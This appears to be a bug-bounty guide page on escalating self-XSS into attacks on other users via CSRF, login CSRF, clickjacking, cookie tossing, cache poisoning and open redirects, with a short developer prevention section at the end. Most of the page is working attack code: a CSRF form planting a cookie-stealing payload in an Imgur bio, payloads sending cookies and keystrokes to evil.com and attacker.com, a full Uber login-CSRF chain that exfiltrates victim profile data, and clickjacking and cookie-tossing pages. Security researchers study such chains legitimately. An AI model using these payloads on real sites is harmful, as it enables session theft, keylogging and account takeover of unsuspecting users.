Self-XSS Escalation Chains¶
TL;DR¶
Self-XSS alone is worthless — you can only XSS yourself. But chain it with another vulnerability and suddenly you're attacking other users.
| Chain | Difficulty | Impact | Prerequisites |
|---|---|---|---|
| Self-XSS + CSRF | Easy | High | CSRF on XSS trigger action |
| Self-XSS + Login CSRF | Medium | Critical | No OAuth state param, logout CSRF |
| Self-XSS + Clickjacking | Easy | Medium-High | No X-Frame-Options |
| Self-XSS + Cookie Tossing | Medium | High | Subdomain XSS, shared cookie domain |
| Self-XSS + Cache Poisoning | Hard | Critical | Unkeyed header reflects XSS |
| Self-XSS + Open Redirect | Easy | Medium | Open redirect on same domain |
The mindset: Found Self-XSS? Don't close Burp. Hunt for the chain.
Chain 1: Self-XSS + CSRF¶
The Technique¶
Force a victim to trigger an action that causes Self-XSS to execute in THEIR session.
Flow: 1. Victim visits attacker's page 2. Attacker's page submits a CSRF form that injects XSS payload into victim's profile/settings 3. Victim is redirected to the vulnerable page 4. XSS executes in victim's session
When It Works¶
- The Self-XSS injection point is a stored field (profile, settings, preferences)
- The action that stores the payload has no CSRF protection
- The page where XSS fires is accessible after injection
Real Example: Imgur Profile XSS¶
Scenario: User can inject XSS into their own bio field. Bio field has no CSRF protection.
Attack PoC:
<!DOCTYPE html>
<html>
<head><title>Click to Win!</title></head>
<body>
<h1>Loading Prize...</h1>
<form id="pwn" action="https://imgur.com/account/settings" method="POST">
<input type="hidden" name="bio" value='"><img src=x onerror="fetch(`https://attacker.com/steal?cookie=`+document.cookie)">'>
</form>
<script>
document.getElementById('pwn').submit();
// Redirect to profile page after submission
setTimeout(() => {
window.location = 'https://imgur.com/user/VICTIM_USERNAME';
}, 1000);
</script>
</body>
</html>
Why it works: - No CSRF token on bio update - XSS in bio fires when any user views the profile - Stored XSS now affects all visitors
Payload Variations¶
<!-- Basic cookie steal -->
<img src=x onerror="new Image().src='https://evil.com/?c='+document.cookie">
<!-- Full session hijack with fetch -->
<img src=x onerror="fetch('https://evil.com/log',{method:'POST',body:document.cookie})">
<!-- Keylogger injection -->
<img src=x onerror="document.onkeypress=function(e){fetch('https://evil.com/k?k='+e.key)}">
HackerOne Reports¶
- #632017 - Zomato: Self-Stored XSS chained with login/logout CSRF for account takeover
- #177508 - Starbucks: Reflected XSS via CSRF on wishlist
Chain 2: Self-XSS + Login CSRF¶
The Technique¶
This is the crown jewel of Self-XSS escalation. Force victim to log into YOUR account (where XSS payload waits), execute JavaScript, then log them back into THEIR account to steal data.
Flow: 1. Attacker sets up XSS payload in their own account 2. Victim visits attacker's page 3. Victim is logged out of their session (but keeps auth cookie on auth server) 4. Victim is logged into attacker's account via login CSRF 5. XSS payload fires in attacker's account context 6. Payload logs victim back into their own account 7. Now attacker has code running in victim's authenticated session
When It Works¶
- OAuth flow missing
stateparameter (login CSRF) - Logout endpoint has no CSRF protection
- Application uses separate auth server (OAuth/SSO)
- X-Frame-Options is
sameorigin(notdeny)
Real Example: Uber Partners (Jack Whitton)¶
This is the famous case study: whitton.io/articles/uber-turning-self-xss-into-good-xss/
The Setup:
- XSS in profile address field (only visible to account owner)
- OAuth callback /oauth/callback?code=... has no state parameter
- Logout endpoint /logout has no CSRF protection
Step 1: Block logout redirect using CSP
<!-- Only allow requests to partners.uber.com, block login.uber.com -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- This logs out of partners but CSP blocks the redirect to login.uber.com -->
<img src="https://partners.uber.com/logout/" onerror="loginAttacker()">
Step 2: Log victim into attacker's account
function loginAttacker() {
// Initiate OAuth flow
var loginImg = document.createElement('img');
loginImg.src = 'https://partners.uber.com/login/';
loginImg.onerror = function() {
// Use attacker's pre-captured OAuth code
var code = 'ATTACKER_OAUTH_CODE';
var callbackImg = document.createElement('img');
callbackImg.src = 'https://partners.uber.com/oauth/callback?code=' + code;
callbackImg.onerror = function() {
// Redirect to page with XSS payload
window.location = 'https://partners.uber.com/profile/';
}
}
}
Step 3: XSS payload (in attacker's profile)
// Create iframe to log victim back into their account
var loginIframe = document.createElement('iframe');
loginIframe.src = 'https://attacker.com/re-login.html';
loginIframe.style.display = 'none';
document.body.appendChild(loginIframe);
// Wait, then access victim's actual session
setTimeout(function() {
var victimFrame = document.createElement('iframe');
victimFrame.src = 'https://partners.uber.com/profile/';
victimFrame.id = 'victim';
document.body.appendChild(victimFrame);
// Extract victim data
victimFrame.onload = function() {
var data = victimFrame.contentWindow.document.body.innerHTML;
var email = data.match(/value="([^"]+)" name="email"/)[1];
// Exfiltrate
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({email: email, html: data})
});
}
}, 5000);
Step 4: re-login.html (logs victim back in)
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<img src="https://partners.uber.com/logout/" onerror="redir()">
<script>
function redir() {
// This redirects to login flow which auto-authenticates via login.uber.com cookie
window.location = 'https://partners.uber.com/login/';
}
</script>
Why This Works¶
- CSP blocks cross-domain redirects — Victim stays logged into auth server
- Login CSRF — No state parameter means we can force login to any account
- Logout CSRF — We can destroy only the app session, not auth session
- X-Frame-Options: sameorigin — We can iframe pages from same origin while our code runs
Key Insight¶
The victim never knows they briefly logged into attacker's account. The entire flow takes < 10 seconds and they end up on their own profile.
Chain 3: Self-XSS + Clickjacking¶
The Technique¶
Frame the vulnerable page and trick the victim into clicking a button that triggers the Self-XSS.
Flow: 1. Embed vulnerable page in hidden iframe 2. Overlay fake UI on top 3. Victim's click actually triggers XSS action 4. XSS executes in victim's session
When It Works¶
- Page with Self-XSS can be framed (no X-Frame-Options / weak CSP)
- XSS can be triggered with a single click (button, link, etc.)
- Trigger element position is predictable
Real Example: Settings Page XSS¶
Scenario: XSS fires when user clicks "Save Settings" with malicious input already in a field.
Attack PoC:
<!DOCTYPE html>
<html>
<head>
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 500px;
height: 400px;
opacity: 0.0001; /* Nearly invisible */
z-index: 2;
}
.overlay {
position: absolute;
top: 185px; /* Align with Save button */
left: 120px;
z-index: 1;
}
button {
padding: 15px 30px;
font-size: 18px;
cursor: pointer;
}
</style>
</head>
<body>
<h1>Claim Your Prize!</h1>
<div class="overlay">
<button>Click to Claim $500</button>
</div>
<!-- Pre-fill XSS via URL parameter if possible -->
<iframe src="https://vulnerable.com/settings?name=<img src=x onerror=alert(document.domain)>"></iframe>
</body>
</html>
Advanced: Drag-and-Drop Clickjacking¶
For Self-XSS in text fields that need typed input:
<style>
#source {
position: absolute;
font-size: 20px;
}
iframe {
position: absolute;
top: 50px;
opacity: 0.0001;
}
</style>
<div id="source" draggable="true"><img src=x onerror=alert(1)></div>
<p>Drag the text to the box below:</p>
<iframe src="https://vulnerable.com/profile/edit"></iframe>
Double Clickjacking¶
For actions requiring confirmation:
// First click: inject payload
// Second click: submit form
let clickCount = 0;
document.addEventListener('click', () => {
clickCount++;
if (clickCount === 1) {
moveIframeTo('input-field');
} else if (clickCount === 2) {
moveIframeTo('submit-button');
}
});
Chain 4: Self-XSS + Cookie Tossing¶
The Technique¶
Set a cookie from a subdomain that triggers XSS on the main domain.
Flow:
1. Find XSS on any subdomain (even low-value)
2. Use subdomain XSS to set a cookie with XSS payload
3. Cookie is set for .domain.com (parent domain)
4. Victim visits main site
5. Cookie value triggers Self-XSS
When It Works¶
- You have XSS on ANY subdomain (sandbox.example.com, beta.example.com)
- Main domain has Self-XSS that reads from cookies
- Cookies aren't using
__Host-prefix (can't be tossed)
Real Example: Cookie-Based UI Injection¶
Scenario:
- sandbox.example.com has XSS
- www.example.com reads ui_theme cookie and reflects it unsafely
Step 1: Subdomain XSS sets malicious cookie
// Execute on sandbox.example.com
document.cookie = "ui_theme=</style><script>alert(document.domain)</script>; domain=.example.com; path=/";
Step 2: Victim visits www.example.com
<!-- Server-side template -->
<style>
body { theme: {{cookies.ui_theme}}; }
</style>
<!-- Rendered as -->
<style>
body { theme: </style><script>alert(document.domain)</script>; }
</style>
Cookie Tossing Attack Page¶
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
// Set poisoned cookie from subdomain
document.cookie = "user_prefs=<img src=x onerror=fetch('https://evil.com/c?c='+document.cookie)>; domain=.example.com; path=/; expires=Fri, 31 Dec 2027 23:59:59 GMT";
// Redirect to main domain to trigger
window.location = "https://www.example.com/dashboard";
</script>
</body>
</html>
Defense Bypass Notes¶
// __Host- prefix prevents cookie tossing (CANNOT set from subdomain)
// SECURE: __Host-session=abc123
// But regular cookies CAN be tossed
// VULNERABLE: session=abc123
// VULNERABLE: theme=dark
Chain 5: Self-XSS + Cache Poisoning¶
The Technique¶
Poison a web cache so your Self-XSS payload is served to other users.
Flow: 1. Find reflected Self-XSS (only fires in your request) 2. Identify unkeyed inputs (headers not in cache key) 3. Inject XSS via unkeyed header 4. Cache stores malicious response 5. All subsequent users get XSS
When It Works¶
- XSS injection point is in an unkeyed header (X-Forwarded-Host, Origin, etc.)
- Response is cached (check
Cache-Control,Age,X-Cacheheaders) - Cache key doesn't include the vulnerable header
Real Example: Twitter Cache Poisoning (H1 #84601)¶
Vulnerability: upload.twitter.com allowed file uploads that reflected content-type in ton.twitter.com responses, which were cached.
Attack Vector:
Where malicious.jpg was uploaded with:
- Filename ending in .jpg (bypassed extension check)
- Content: <script>alert(document.domain)</script>
- Served with Content-Type: text/html (due to content sniffing)
Result: Cached HTML response served to all users requesting that path.
Cache Poisoning Detection¶
# 1. Find cacheable endpoints
curl -I https://target.com/static/app.js
# Look for: Age, X-Cache: HIT, Cache-Control: public
# 2. Test unkeyed headers
curl https://target.com/ -H "X-Forwarded-Host: evil.com" -I
# Check if response changes (redirect to evil.com?)
# 3. Verify poison persistence
curl https://target.com/ # Without header
# If still poisoned = vulnerable
Cache Poison XSS PoC¶
GET / HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: "><script>alert(1)</script>
# If response contains:
<meta property="og:url" content="https://"><script>alert(1)</script>/...">
# And response is cached — you win
Cache Buster (Safe Testing)¶
Always use cache busters when testing to avoid poisoning production:
HackerOne Reports¶
- #84601 - Twitter: XSS and cache poisoning via ton.twitter.com
- #1424094 - Glassdoor: Web Cache Poisoning to XSS
- #1760213 - Expedia: Account Takeover via Cache Poisoning XSS
Chain 6: Self-XSS + Open Redirect¶
The Technique¶
Use an open redirect to deliver Self-XSS payload or chain authentication flows.
Flow:
1. Find Self-XSS that requires specific URL parameters
2. Find open redirect on same domain
3. Chain: Open redirect → Page with XSS → Payload fires
4. Or: Use redirect to smuggle XSS in next parameter
When It Works¶
- Self-XSS is reflected from URL parameters
- Open redirect exists on same domain
- Application has loose URL validation
Real Example: OAuth Redirect XSS¶
Scenario:
- Self-XSS at /callback?error=<payload> (error message reflected)
- Open redirect at /redirect?url=...
Attack Chain:
Or with encoding to bypass filters:
https://vulnerable.com/redirect?url=//vulnerable.com/callback%3Ferror%3D%3Cscript%3Ealert(1)%3C/script%3E
JavaScript Protocol Redirect¶
If open redirect allows javascript: protocol:
Login Flow Abuse¶
<!-- Attacker page -->
<script>
// 1. Redirect to login with malicious callback
window.location = 'https://vulnerable.com/login?redirect=/profile?name=<script>alert(1)</script>';
</script>
User logs in → redirected to /profile?name=<script>... → XSS fires
HackerOne Reports¶
- OAuth redirect XSS patterns are common in authentication bypasses
- Look for
redirect_uri,next,return_to,callbackparameters
Detection Checklist¶
When you find Self-XSS, systematically check for chains:
□ CSRF on XSS injection action?
- Check for CSRF tokens
- Test token removal/reuse
□ Login CSRF possible?
- OAuth state parameter present?
- Logout endpoint CSRF protected?
□ Page frameable?
- X-Frame-Options header?
- CSP frame-ancestors?
□ Cookie-based injection?
- Any subdomain XSS?
- Cookie reflected in responses?
□ Cached response?
- Age / X-Cache headers?
- Unkeyed inputs (test X-Forwarded-*)
□ Open redirect exists?
- /redirect?url= endpoints?
- OAuth callback manipulation?
Prevention¶
For Developers¶
# Always use CSRF tokens
@csrf_protect
def update_profile(request):
...
# Validate OAuth state parameter
if request.args.get('state') != session.get('oauth_state'):
abort(403)
# Strict X-Frame-Options
response.headers['X-Frame-Options'] = 'DENY'
# Use __Host- cookie prefix
response.set_cookie('__Host-session', value, secure=True, httponly=True)
# Include all headers in cache key
# Or don't reflect unkeyed headers at all
Cache Configuration¶
# Nginx: Vary on relevant headers
add_header Vary "Accept-Encoding, X-Forwarded-Host";
# Or strip dangerous headers
proxy_set_header X-Forwarded-Host "";
References¶
- Jack Whitton - Uber Self-XSS Escalation
- PortSwigger - Web Cache Poisoning
- HackerOne Report #84601 - Twitter Cache Poisoning
- HackerOne Report #632017 - Zomato Login CSRF Chain
- OAuth Security - Egor Homakov
- Bugcrowd VRT - XSS Classifications
Remember: A "worthless" Self-XSS is just an XSS waiting for its partner vulnerability. Keep hunting.